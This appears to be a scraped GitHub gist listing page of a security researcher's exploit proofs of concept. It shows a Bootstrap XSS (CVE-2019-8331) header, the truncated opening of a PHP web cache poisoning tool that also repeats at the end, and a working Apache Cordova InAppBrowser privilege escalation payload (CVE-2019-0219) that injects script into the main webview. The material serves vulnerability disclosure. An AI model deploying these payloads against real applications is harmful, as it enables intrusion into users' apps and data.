Sergey Bobrov BlackFan

## Bootstrap_XSS.md

      
              1 file
            
          
              32 forks
            
          
                1 comment
              
            
              101 stars
            
          
                BlackFan
                / Bootstrap_XSS.md
            
            
              Last active
              November 4, 2024 03:40
            
              
                Bootstrap XSS Collection
              
          
    CVE-2019-8331

Bootstrap < 3.4.1 || < 4.3.1
✔️ CSP strict-dynamic bypass
➖ Requires user interaction
➖ Requires $('[data-toggle="tooltip"]').tooltip();

  
## webcachepoisoning.php
<?php
    $attack_url = $_GET['url'];
    $payload = $_GET['payload'];

    $ch = curl_init();

    if(isset($_SERVER['HTTP_ACCEPT'])) {
    	$headers[] = 'Accept: '.$_SERVER['HTTP_ACCEPT'];
    }

## CVE-2019-0219_PoC.md

      
              1 file
            
          
              0 forks
            
          
                0 comments
              
            
              0 stars
            
          
                BlackFan
                / CVE-2019-0219_PoC.md
            
            
              Last active
              July 16, 2020 05:03
            
              
                CVE-2019-0219 PoC
              
          
    Apache Cordova InAppBrowser Privilege Escalation

CVE-2019-0219

<script>
alert('InAppBrowser alert \n window.cordova = ' + JSON.stringify(window.cordova));

prompt("","gap-iab://InAppBrowser'-alert('MainWebview alert \\n window.cordova = ' + JSON.stringify(window.cordova))-'")
</script>
	<?php
	$attack_url = $_GET['url'];
	$payload = $_GET['payload'];

	$ch = curl_init();

	if(isset($_SERVER['HTTP_ACCEPT'])) {
	$headers[] = 'Accept: '.$_SERVER['HTTP_ACCEPT'];
	}